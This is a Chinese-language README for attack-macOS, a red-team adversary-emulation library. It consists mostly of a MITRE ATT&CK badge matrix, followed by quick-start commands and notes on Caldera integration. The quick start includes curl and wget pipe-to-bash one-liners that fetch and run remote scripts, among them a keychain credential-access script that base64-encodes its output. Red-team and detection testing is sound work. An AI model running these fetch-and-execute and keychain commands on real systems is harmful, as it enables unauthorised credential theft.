破坏软件供应链 | ![T1559](https://img.shields.io/badge/T1559-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
进程间通信 | ![T1543.004](https://img.shields.io/badge/T1543.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Launch Daemon | ![T1574.006](https://img.shields.io/badge/T1574.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
动态链接器劫持 | ![T1497.001](https://img.shields.io/badge/T1497.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
系统检查 | ![T1552](https://img.shields.io/badge/T1552-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
不安全的凭证 | ![T1016.002](https://img.shields.io/badge/T1016.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Wi-Fi 发现 | | ![T1560.002](https://img.shields.io/badge/T1560.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过库归档 | ![T1090.002](https://img.shields.io/badge/T1090.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
外部代理 | ![T1567.002](https://img.shields.io/badge/T1567.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取至云存储 | ![T1657](https://img.shields.io/badge/T1657-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
金融盗窃 | | ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域账户 | ![T1203](https://img.shields.io/badge/T1203-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
利用客户端执行 | ![T1505.003](https://img.shields.io/badge/T1505.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Web Shell | ![T1548](https://img.shields.io/badge/T1548-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
滥用提权控制机制 | ![T1070.002](https://img.shields.io/badge/T1070.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
清除 Linux 或 Mac 系统日志 | ![T1555.003](https://img.shields.io/badge/T1555.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
来自 Web 览器的凭证 | ![T1010](https://img.shields.io/badge/T1010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
应用窗口发现 | | ![T1560](https://img.shields.io/badge/T1560-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
归档收集的数据 | ![T1090](https://img.shields.io/badge/T1090-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
代理 | ![T1030](https://img.shields.io/badge/T1030-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
数据传输大小限制 | ![T1491.001](https://img.shields.io/badge/T1491.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
内部污损 | | ![T1200](https://img.shields.io/badge/T1200-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
硬件添加 | ![[T1059.006](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1059.006-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)
Python | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
默认账户 | ![T1548.001](https://img.shields.io/badge/T1548.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Setuid 和 Setgid | ![T1027.008](https://img.shields.io/badge/T1027.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
精简 Payload | ![T1557.003](https://img.shields.io/badge/T1557.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
DHCP 欺骗 | ![T1497.003](https://img.shields.io/badge/T1497.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
基于时间的规避 | | ![T1557.003](https://img.shields.io/badge/T1557.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
DHCP 欺骗 | ![T1568](https://img.shields.io/badge/T1568-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
动态解析 | ![T1052](https://img.shields.io/badge/T1052-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过物理介质窃取 | ![T1565](https://img.shields.io/badge/T1565-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
数据操纵 | | ![T1189](https://img.shields.io/badge/T1189-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
被动利用 | ![T1569](https://img.shields.io/badge/T1569-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
系统服务 | ![T1546.005](https://img.shields.io/badge/T1546.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Trap | ![T1098.004](https://img.shields.io/badge/T1098.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
SSH 授权密钥 | ![T1553.001](https://img.shields.io/badge/T1553.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
绕过 Gatekeeper | ![T1552.004](https://img.shields.io/badge/T1552.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
私钥 | ![[T1217](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1217-lightgrey?style=for-the-badge&label=%204%20&labelColor=3bc05a&color=494949)
浏览器信息发现 | | ![T1056.003](https://img.shields.io/badge/T1056.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Web 门户捕获 | ![T1102](https://img.shields.io/badge/T1102-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Web 服务 | ![T1048.003](https://img.shields.io/badge/T1048.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过未加密非 C2 协议窃取 | ![T1531](https://img.shields.io/badge/T1531-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
账户访问权限移除 | | ![T1566.003](https://img.shields.io/badge/T1566.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过服务钓鱼 | ![T1059.005](https://img.shields.io/badge/T1059.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Visual Basic | ![T1574.006](https://img.shields.io/badge/T1574.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
动态链接器劫持 | ![T1547.015](https://img.shields.io/badge/T1547.015-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
登录项 | ![T1553.002](https://img.shields.io/badge/T1553.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
代码签名 | ![T1110.003](https://img.shields.io/badge/T1110.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
密码喷洒 | ![T1016](https://img.shields.io/badge/T1016-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
系统网络配置发现 | | ![T1125](https://img.shields.io/badge/T1125-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
视频捕获 | ![T1568.003](https://img.shields.io/badge/T1568.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
DNS 计算 | | ![T1486](https://img.shields.io/badge/T1486-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
影响型数据加密 | | ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
本地账户 | ![T1204.001](https://img.shields.io/badge/T1204.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
恶意链接 | ![T1136.001](https://img.shields.io/badge/T1136.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
本地账户 | ![T1546.014](https://img.shields.io/badge/T1546.014-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Emond | ![T1036.009](https://img.shields.io/badge/T1036.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
破坏进程树 | ![T1056.003](https://img.shields.io/badge/T1056.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Web 门户捕获 | ![T1087](https://img.shields.io/badge/T1087-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
账户发现 | | ![T1114.003](https://img.shields.io/badge/T1114.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
电子邮件转发规则 | ![T1104](https://img.shields.io/badge/T1104-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
多阶段通道 | | ![T1499](https://img.shields.io/badge/T1499-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
终端拒绝服务 | | | ![T1053.002](https://img.shields.io/badge/T1053.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
At | ![T1098.004https://img.shields.io/badge/T1098.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
SSH 授权密钥 | ![T1098](https://img.shields.io/badge/T1098-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
账户操纵 | ![T1070.007](https://img.shields.io/badge/T1070.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
清除网络连接历史和配置 | ![T1649](https://img.shields.io/badge/T1649-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
窃取或伪造认证证书 | ![T1083](https://img.shields.io/badge/T1083-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
文件和目录发现 | | ![T1074](https://img.shields.io/badge/T1074-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
数据暂存 | ![T1205.001](https://img.shields.io/badge/T1205.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
端口敲门 | | ![T1496](https://img.shields.io/badge/T1496-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
资源劫持 | | | | ![T1136.002](https://img.shields.io/badge/T1136.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域账户 | ![T1547.006](https://img.shields.io/badge/T1547.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
内核模块和扩展 | ![T1070.003](https://img.shields.io/badge/T1070.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
清除命令历史 | ![T1552.003](https://img.shields.io/badge/T1552.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Bash History | ![T1049](https://img.shields.io/badge/T1049-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
系统网络连接发现 | | ![T1056.002](https://img.shields.io/badge/T1056.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
GUI 输入捕获 | ![T1071.002](https://img.shields.io/badge/T1071.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
文件传输协议 | | ![T1565.002](https://img.shields.io/badge/T1565.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
传输数据操纵 | | | | ![T1542.002](https://img.shields.io/badge/T1542.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
组件固件 | ![T1574](https://img.shields.io/badge/T1574-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
劫持执行流 | ![[T1140](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1140-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)
反混淆/解码文件或信息 | ![T1552.001](https://img.shields.io/badge/T1552.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
文件中的凭证 | ![T1497](https://img.shields.io/badge/T1497-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
虚拟化/沙箱规避 | | ![T1039](https://img.shields.io/badge/T1039-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
来自网络共享驱动器的数据 | ![T1102.003](https://img.shields.io/badge/T1102.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
单向通信 | | ![T1485](https://img.shields.io/badge/T1485-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
数据破坏 | | | | ![T1542](https://img.shields.io/badge/T1542-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
预启动 | ![[T1078](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)
有效账户 | ![T1562](https://img | | | | | ![T1542](https://img.shields.io/badge/T1542-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
操作系统启动前 | | | | | | | | | | | | | ![T1562.010](https://img.shields.io/badge/T1562.010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
降级攻击 | | | | | | | | | | | | | ![T1497](https://img.shields.io/badge/T1497-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
虚拟化/沙箱逃逸 | | | | | | | | | | | | | ![T1480](https://img.shields.io/badge/T1480-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
执行围栏 | | | | | | | | | | | | | ![T1205.001](https://img.shields.io/badge/T1205.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
端口试探 | | | | | | | | | | | | | ![T1564.002](https://img.shields.io/badge/T1564.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
隐藏用户 | | | | | | | | | | | | | ![T1562.003](https://img.shields.io/badge/T1562.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
破坏命令历史记录 | | | | | | | | | | | | | ![T1497.002](https://img.shields.io/badge/T1497.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
基于用户活动的检查 | | | | | | | | | | | | | ![T1562.001](https://img.shields.io/badge/T1562.001-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)
禁用或修改工具 | | | | | | | | | | | | | ![T1574](https://img.shields.io/badge/T1574-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
劫持执行流程 | | | | | | | | | | | | | ![T1027.005](https://img.shields.io/badge/T1027.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
从工具中移除指标 | | | | | | | | | | | | | ![[T1078](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)
有效账户 | | | | | | | | | | | | | ![T1564.009](https://img.shields.io/badge/T1564.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
资源分叉 | | | | | | | | | | | | | ![[T1027](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1027-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)
混淆文件或信息 | | | | | | | | | | | | ![T1556.006](https://img.shields.io/badge/T1556.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
多因素身份验证 | | | | | | | | | | | | | ![T1036.001](https://img.shields.io/badge/T1036.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
无效的代码签名 | | | | | | | | | | | | | ![T1564.006](https://img.shields.io/badge/T1564.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
运行虚拟实例 | | | | | | | | | | | | | ![T1553](https://img.shields.io/badge/T1553-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
破坏信任控制 | | | | | | | | | | | | | ![T1548.004](https://img.shields.io/badge/T1548.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
通过提示提权执行 | | | | | | | | | | | | | ![T1036.003](https://img.shields.io/badge/T1036.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
重命名系统实用程序 | | | | | | | | | | | | | ![T1562.011](https://img.shields.io/badge/T1562.011-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
伪造安全警报 | | | | | | | | | | | | | ![[T1027.003](https://raw.githubusercontent.com/darmado/attack-macOS/main/../../ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1027.003-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)
隐写术 | | | | | | | | | | | | | ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
域账户 | | | | | | | | | | | | | ![T1553.004](https://img.shields.io/badge/T1553.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
安装根证书 | | | | | | | | | | | | | ![T1027.004](https://img.shields.io/badge/T1027.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
投递后编译 | | | | | | | | | | | | | ![T1564.007](https://img.shields.io/badge/T1564.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
VBA 清除 | | | | | | | | | | | | | ![T1656](https://img.shields.io/badge/T1656-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
冒充 | | | | | | | | | | | | | ![T1564.003](https://img.shields.io/badge/T1564.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
隐藏窗口 | | | | | | | | | | | | | ![T1070.009](https://img.shields.io/badge/T1070.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
清除持久化 | | | | | | | | | | | | | ![T1027.006](https://img.shields.io/badge/T1027.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
HTML 走私 | | | | | | | | | | | | | ![T1027.010](https://img.shields.io/badge/T1027.010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
命令混淆 | | | | | | | | | | | | | ![T1070.004](https://img.shields.io/badge/T1070.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
文件删除 | | | | | | | | | | | | | ![T1027.002](https://img.shields.io/badge/T1027.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
软件加壳 | | | | | | | | | | | | | ![T1564.005](https://img.shields.io/badge/T1564.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
隐藏文件系统 | | | | | | | | | | | | | ![T1622](https://img.shields.io/badge/T1622-lightgrey?style=for-the-badge&label=%20-%20&Color=EB5454&color=494949)
调试器逃逸 | | | | | | | | | | | | | ![T1036.006](https://img.shields.io/badge/T1036.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
文件名后加空格 | | | | | | | | | | | | | ![T1548.006](https://img.shields.io/badge/T1548.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
TCC 操控 | | | | | | | | | | | | | ![T1564.001](https://img.shields.io/badge/T1564.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
隐藏文件和目录 | | | | | | | | | | | | | ![T1480.001](https://img.shields.io/badge/T1480.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
环境密钥 | | | | | | | | | | | | | ![T1556](https://img.shields.io/badge/T1556-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
修改身份验证过程 | | | | | | | | | | | | | ![T1574.004](https://img.shields.io/badge/T1574.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
Dylib 劫持 | | | | | | | | | | | | | ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
本地账户 | | | | | | | | | | | | | ![T1211](https://img.shields.io/badge/T1211-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)
利用漏洞进行防御规避 | | | | | | | |
## 快速入门 ### 使用 attackmacos.sh 处理器 ``` # 1. Clone 仓库 git clone https://github.com/darmado/attack-macOS.git cd attack-macOS # 2. 使用 handler 进行本地执行 ./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s' # 3. 使用 handler 进行远程执行 ./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64' # 4. 列出某个 tactic 的可用 TTP ./attackmacos/attackmacos.sh --list-local --tactic discovery ./attackmacos/attackmacos.sh --list-remote --tactic credential_access # 5. 显示 banner 和帮助 ./attackmacos/attackmacos.sh --banner --help ``` ### 处理器依赖项 `./attackmacos/attackmacos.sh` 处理器脚本需要: * 一个兼容 POSIX 的 shell(例如 bash、zsh、sh)。 * `curl` 或 `wget`,用于远程脚本执行(分别在使用 `--method curl` 或 `--method wget` 时)。 * 如果使用 `--method osascript`,则需要 `osascript`(这是 macOS 的标准组件)。 ### Caldera 集成 ``` # 1. Build 并同步 Caldera plugin python cicd/build/procedure_shell.py --sync-caldera # 2. 复制 plugin 到 Caldera cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/ # 3. 重启 Caldera server # Caldera operations 随后将包含 plugin abilities。 # 4. 在 Caldera 中与 facts 一起使用 # 设置 fact: user.arg = "--safari --chrome --search malware" # 执行 ability: browser_history ``` **Caldera 文档:** [Caldera 插件指南](integrations/caldera/plugins/attackmacos/docs/) ### 本地执行(直接) ``` # 1. Clone 仓库 git clone https://github.com/darmado/attack-macOS.git cd attack-macOS # 2. 直接运行 technique ./ttp/discovery/shell/system_info.sh # 3. 使用自定义 parameters 运行 ./ttp/credential_access/shell/keychains.sh --verbose --log-output --encode base64 # 4. 从 YAML 构建 procedure(从 repo 根目录) python3 cicd/build/procedure_shell.py attackmacos/core/config/system_info.yml ``` ### 远程执行(直接) ``` # 1. 直接从 GitHub 执行,无需 clone curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash # 2. 下载并使用 parameters 执行 curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/credential_access/shell/keychains.sh | bash -s -- --verbose --log-output --encode base64 # 3. 使用 wget 执行特定 technique wget -qO- https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bash ``` ## 集成 ### 第三方集成文档与安全性 - **[集成索引](docs/Integrations/README.md)** — GitHub (`gh`)、Caldera 以及未来的供应商对接。 - **[第三方安全基线](docs/Integrations/third_party_security.md)** — 通用最低标准;指向各集成特定页面的链接(例如 [GitHub](docs/Integrations/github_repo_interaction.md))。 ### 内置程序、上游与维护者脚本 [内置程序:上游源与维护者脚本](docs/Shipped_procedures_upstream_sources_and_maintainer_scripts.md) ### 编码规范 [编码和文档标准](docs/Standards/README.md) ### Caldera 插件 **代码库:** [https://github.com/darmado/caldera-plugin-attack-macos](https://github.com/darmado/caldera-plugin-attack-macos) 原生 Caldera 插件,可与红队操作无缝集成。该插件使用完整的命令方法,将 attack-macOS YAML 配置转换为可随时执行的能力。 ## ### 许可证 Apache License 2.0。[LICENSE](LICENSE) ##
标签:Cutter, DNS 反向解析, DNS外发, EDR测试, HTTPS外发, IP 地址批量处理, JXA, LOLBins, LOObins, Shell, Swift, 加解密, 安全测试, 攻击性安全, 攻击模拟, 数据展示, 数据渗透, 端点检测与响应评估, 紫队, 红队, 编码, 网络威胁情报, 网络安全, 脚本库, 逆向工具, 隐私保护, 驱动签名利用